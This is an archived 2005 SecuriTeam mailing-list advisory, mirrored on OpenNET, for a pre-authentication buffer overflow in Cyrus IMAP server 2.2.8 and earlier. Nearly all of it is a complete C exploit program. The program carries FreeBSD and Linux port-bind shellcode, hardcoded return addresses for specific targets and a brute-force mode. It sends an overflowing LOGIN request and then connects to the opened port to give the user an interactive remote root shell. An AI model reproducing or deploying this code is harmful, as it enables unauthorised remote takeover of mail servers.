The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[EXPL] Cyrus IMAP Server Preauthentification Overflow


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 6 Apr 2005 17:05:53 +0200
Subject: [EXPL] Cyrus IMAP Server Preauthentification Overflow
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050406151011.5A7EF5739@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
X-Spam-Status: No, hits=2.066 tagged_above=2 required=5 tests=AWL, INFO_TLD,
 MSGID_FROM_MTA_ID
X-Spam-Level: **

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Cyrus IMAP Server Preauthentification Overflow
------------------------------------------------------------------------


SUMMARY

As reported earlier, Cyrus IMAP server suffer from a pre-authentication 
buffer overflow. For more information see:  
<http://www.securiteam.com/unixfocus/6N00N0UBPO.html>; 
http://www.securiteam.com/unixfocus/6N00N0UBPO.html.

Provided here is an exploit code for the Cyrus pre-authentication 
vulnerability with a FreeBSD portbind shellcode.

DETAILS

Exploit Code:
/*
 * THE EYE ON SECURITY RESEARCH GROUP INDIA - [email protected]
 *
 * 305imapmagic.c - n2n/#eos - 24/11/2004
 * Cyrus IMAP Server <=2.2.8 IMAPMAGICPLUS preauthentification overflow
 * Copyright (c) Nilanjan De <n2n@eos-india.net.> , 
http://www.eos-india.net
 *
 * Credits: Bug found by Stefan Essar of Team .... e-matters.de??,
 * FreeBSD portbind shellcode by raptor
 *
 * Advisory URL: http://security.e-matters.de/advisories/152004.html
 *
 * Note: Exploitation is pretty straight-forward. One thing to keep in 
mind is
 * that certain characters like '(',')','"', etc are filtered by 
cyrus-imapd
 * so shellcode and return address cannot contain those characters.
 *
 *
 * Greetz: Gyan, jaguar, Team TESO, gera, raptor, all the ppl in
 * irc.pulltheplug.org,...
 *
 * Update: 31/4/2005: no use keeping this private anymore.
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/errno.h>
#include <stdarg.h>
#include <string.h>

#define IMAP_PORT 143
#define BIND_PORT 31337
#define BUFMIN 491
#define BUFLEN 8192
#define RET 0x08144024 //0xbfbfcd8c
#define RET_START 0x08142000
#define RET_END 0x08146000
#define NRETS 5
#define TIMEOUT 10
#define MAX(a,b) ((a) > (b) ? (a) : (b))
#define MIN(a,b) ((a) > (b) ? (b) : (a))
#define BSD_PORT_OFFSET 27
#define LNX_PORT_OFFSET 45

int connect_to(char *host, unsigned int port, unsigned int timeout);
void sock_printf(int fd, char *fmt,...);
void usage(char *prog);
void doshell(int sock);
int allowed(unsigned char byte);
void fixnull(unsigned long *addr);
int check_shellcode(char *shellcode);

/*
 * portbind-bsd.c - setuid/portbind shellcode for *BSD/x86 Copyright (c) 
2003
 * Marco Ivaldi <raptor@0xdeadbeef.info.>
 */
char portbind_bsd[] =/* 8 + 86 = 94 bytes */
        "\x31\xc0\x50\x50\xb0\x17\xcd\x80"
        "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80"
        "\x89\xc3\x52\x66\x68"
        "\x7a\x69" // port 31337 / tcp, change if needed
        "\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80"
        "\x51\x53\x53\xb0\x6a\xcd\x80"
        "\x52\x52\x53\x53\xb0\x1e\xcd\x80"
        "\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80"
        
"\x41\xe2\xf5\x51\x68//sh\x68/bin\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";

/* Ripped code. Binds shell on 45295 */
char portbind_linux[] =
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
        "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
        "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
        "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
        "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
        "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
        "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
        "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
        "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
        "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
        "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

struct target {
        char *description;
        unsigned int bufsize;
        unsigned long retaddr;
        unsigned long brutestart;
        unsigned long bruteend;
        char *shellcode;
};

struct target targets[]
        = {
        {"FreeBSD 5.x, Cyrus Imapd 2.2.8", 533, 0x08144024, 0x08140000, 
0x08148000, portbind_bsd},
        {"Fedora Core w/o bigmem/execshield, Cyrus Imapd 
2.2.8",533,0x08134320,0x08130000,0x08138000,portbind_linux},
        {NULL, 0, 0, 0, 0, NULL}
        };

int
connect_to(char *host, unsigned int port, unsigned int timeout)
{
        struct hostent *h;
        struct sockaddr_in sin, addr;
        int sock, flags, len;
        fd_set rd, wr;
        struct timeval tv;

        if ((h = gethostbyname(host)) == NULL) {
#ifdef DEBUG
                perror("gethostbyname");
#endif
                return -1;
        }
        sin.sin_addr = *((struct in_addr *) h->h_addr);
        sin.sin_family = AF_INET;
        sin.sin_port = htons((u_short) port);
        if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
#ifdef DEBUG
                perror("socket");
#endif
                return -1;
        }
        fcntl(sock, F_SETFL, O_NONBLOCK);

        if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) {
                FD_ZERO(&rd);
                FD_ZERO(&wr);
                FD_SET(sock, &rd);
                FD_SET(sock, &wr);
                bzero(&tv, sizeof(tv));
                tv.tv_sec = timeout;

                if (select(sock + 1, &rd, &wr, 0, &tv) <= 0) {
#ifdef DEBUG
                        perror("select");
#endif
                        return -1;
                }
                if (!FD_ISSET(sock, &rd) && !FD_ISSET(sock, &wr)) {
#ifdef DEBUG
                        perror("connect");
#endif
                        return -1;
                }
                len = sizeof(addr);
                if (getpeername(sock, (struct sockaddr *) & addr, &len) < 
0) {
#ifdef DEBUG
                        perror("getpeername");
#endif
                        return -1;
                }
        }
        flags = fcntl(sock, F_GETFL, NULL);
        fcntl(sock, F_SETFL, flags & ~O_NONBLOCK);
        return sock;
}
int
allowed(unsigned char byte)
{
        switch(byte){
                case ' ':
                case '(':
                case ')':
                case '\"':
                case 0x00:
                        return 0;
                        break;
                default:
                        return 1;
                        break;
        }
}

void
fixnull(unsigned long *addr)
{
        unsigned char byte1, byte2, byte3, byte4;

        byte1 = (*addr >> 24) & 0xFF;

        if (!allowed(byte1)) {
                while (!allowed(++byte1));
                *((unsigned char *)addr + 3) = byte1;
                *((unsigned char *)addr + 2) = 0;
                *((unsigned char *)addr + 1) = 0;
                *((unsigned char *)addr + 0) = 0;
        }
        byte2 = (*addr >> 16) & 0xFF;
        if (!allowed(byte2)) {
                while(!allowed(++byte2));
                *((unsigned char *)addr + 2) = byte2;
                *((unsigned char *)addr + 1) = 0;
                *((unsigned char *)addr + 0) = 0;
        }
        byte3 = (*addr >> 8) & 0xFF;
        if (!allowed(byte3)) {
                while (!allowed(++byte3));
                *((unsigned char *)addr + 1) = byte3;
                *((unsigned char *)addr + 0) = 0;
        }
        byte4 = (*addr) & 0xFF;
        if (!allowed(byte4)) {
                while (!allowed(++byte4));
                *((unsigned char *)addr) = byte4;
        }
}

void
sock_printf(int fd, char *fmt,...)
{
        va_list ap;
        char buf[BUFLEN];

        memset(&buf, 0, sizeof(buf));
        va_start(ap, fmt);
        vsnprintf(buf, (sizeof(buf) - 1), fmt, ap);
        if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
#ifdef DEBUG
                perror("send");
#endif
                exit(EXIT_FAILURE);
        }
        return;
}

void
usage(char *prog)
{
        unsigned int i;
        printf("Usage: %s -h <host> [options]\n", prog);
        printf("Options:\n");
        printf("\t-h <host>\tHost or IP\n");
        printf("\t-p <port>\timapd port(default 143)\n");
        printf("\t-s <size>\tbuffersize(minimum 491,default 533)\n");
        printf("\t-b\t\tbrute force mode\n");
        printf("\t-v\t\tverbose mode\n");
        printf("\t-B\t\tPort to bind shell (Default: 31337)\n");
        printf("\t-T <timeout>\ttimeout in seconds\n");
        printf("\t-t <target>\ttarget number\n");
        printf("Targets:\n");
        for (i = 0; targets[i].description != NULL; i++)
                printf("\t%d\t%s\n", i, targets[i].description);

        exit(EXIT_FAILURE);
}

void
doshell(int sock)
{
        char buf[BUFLEN];
        fd_set input;
        /* Enjoy remote shell ;) */
        send(sock, "uname -a; id;\n", 14, 0);
        while (1) {
                FD_ZERO(&input);
                FD_SET(fileno(stdin), &input);
                FD_SET(sock, &input);
                if ((select(MAX(sock, fileno(stdin)) + 1, &input, NULL, 
NULL, NULL)) < 0) {
                        if (errno == EINTR)
                                continue;
                        printf("+ Connection Closed\n");
                        fflush(stdout);
                        close(sock);
                        exit(EXIT_SUCCESS);
                }
                if (FD_ISSET(sock, &input))
                        write(fileno(stdout), buf, read(sock, buf, 
BUFLEN));
                if (FD_ISSET(fileno(stdin), &input))
                        write(sock, buf, read(fileno(stdin), buf, 
BUFLEN));
        }

}

int
check_shellcode(char *shellcode)
{
        int i,n;
        for(i=0,n=0;shellcode[i];n+=allowed(shellcode[i++]));
        return i-n;
}

int
main(int argc, char **argv)
{
        unsigned short port = IMAP_PORT,bind_port=BIND_PORT;
        unsigned long n = 0, nmin = BUFMIN, targetnum = 0, timeout = 
TIMEOUT;
        unsigned long i, targetmax;
        unsigned long retaddr = 0, ret_start = 0, ret_end = 0;
        char c, *shellcode = portbind_bsd, *buf, *victim = NULL;
        int s, brute = 0, verbose = 0;

        for (targetmax = 0; targets[targetmax].description != NULL; 
targetmax++);

        while ((c = getopt(argc, argv, "h:p:r:s:t:T:B:bv")) != EOF) {
                switch (c) {
                case 'h':
                        victim = optarg;
                        break;
                case 'p':
                        port = (unsigned short)strtoul(optarg, NULL, 0);
                        break;
                case 'r':
                        retaddr = strtoul(optarg, NULL, 0);
                        ret_start = retaddr;
                        break;
                case 's':
                        n = strtoul(optarg, NULL, 0);
                        if (n < nmin) {
                                printf("Buffersize too small\n");
                                usage(argv[0]);
                        }
                        break;
                case 't':
                        targetnum = strtoul(optarg, NULL, 0);
                        if (targetnum >= targetmax) {
                                printf("Invalid target number\n");
                                usage(argv[0]);
                        }
                        shellcode = targets[targetnum].shellcode;
                        if (!retaddr)
                                retaddr = targets[targetnum].retaddr;
                        if (!n)
                                n = targets[targetnum].bufsize;
                        if (!ret_start)
                                ret_start = targets[targetnum].brutestart;
                        ret_end = targets[targetnum].bruteend;
                        break;
                case 'T':
                        timeout = strtoul(optarg, NULL, 0);
                        break;
                case 'b':
                        brute = 1;
                        verbose = 1;
                        break;
                case 'v':
                        verbose = 1;
                        break;
                case 'B':
                        bind_port = (unsigned short)strtoul(optarg, NULL, 
0);
                        break;
                default:
                        usage(argv[0]);
                        break;
                }
        }

        if (!victim)
                usage(argv[0]);

        /* defaults */
        if (!n)
                n = 533;
        if (!retaddr)
                retaddr = RET;
        if (!ret_start)
                ret_start = RET_START;
        if (!ret_end)
                ret_end = RET_END;

        *((unsigned short *)(portbind_bsd + BSD_PORT_OFFSET)) = 
htons(bind_port);
        *((unsigned short *)(portbind_linux + LNX_PORT_OFFSET)) = 
htons(bind_port);
        
        if ((i=check_shellcode(shellcode))){
                printf("- Shellcode has %u bad characters\n",i);
                exit(EXIT_FAILURE);
        }
        
        if (nmin < strlen(shellcode) + NRETS * 4 + 20) {
                printf("- Shellcode too big\n");
                exit(EXIT_FAILURE);
        }
        buf = (char *)malloc(n * sizeof(char));
        if (NULL == buf) {
#ifdef DEBUG
                perror("malloc");
#endif
                exit(EXIT_FAILURE);
        }
        if (brute) {
                retaddr = ret_start;
                printf("+ Brute force mode\n");
        }
        do {
                if ((s = connect_to(victim, port, timeout)) < 0) {
                        printf("- Unable to connect\n");
                        exit(EXIT_FAILURE);
                }
#ifdef DEBUG
                printf("Attach");
                scanf("%c", &i);
#endif
                if ((i = read(s, buf, n)) < 0) {
#ifdef DEBUG
                        perror("read");
#endif
                        exit(EXIT_FAILURE);
                }
                buf[i] = 0;
                if (verbose && !brute)
                        printf("+ Got Banner\n%s\n", buf); /* cyrus is 
greeting us */

                memset(buf, 'G', n - 1);
                fixnull(&retaddr);
                for (i = 0; i < NRETS; i++)
                        *((unsigned long *)(buf + n - 5 - i * 4)) = 
retaddr;
                memcpy(buf + n - 5 - i * 4 - strlen(shellcode), shellcode, 
strlen(shellcode));
                buf[n - 1] = 0;
                sock_printf(s, "a001 LOGIN %s pass\r\n", buf); /* we greet 
cyrus here */
                if (verbose)
                        printf("+ Sending evil 
request[SIZE=%d][RET=%p]...", n, retaddr);

                if (!brute)
                        sleep(2);
                close(s);

                if ((s = connect_to(victim, bind_port, timeout)) < 0) {
                        if (verbose)
                                printf("Failed\n");
                } else {
                        if (verbose) printf("Success\n");
                        printf("+ Seems we got a shell, have fun\n");
                        doshell(s);
                        exit(EXIT_SUCCESS);
                }
                retaddr += (n - strlen(shellcode) - NRETS * 4 - 1) / 2;
        } while (brute && (retaddr < ret_end));
        /* program shdn't reach this point */
        exit(EXIT_FAILURE);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:root@eos-india.net.> 
EOS-India.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру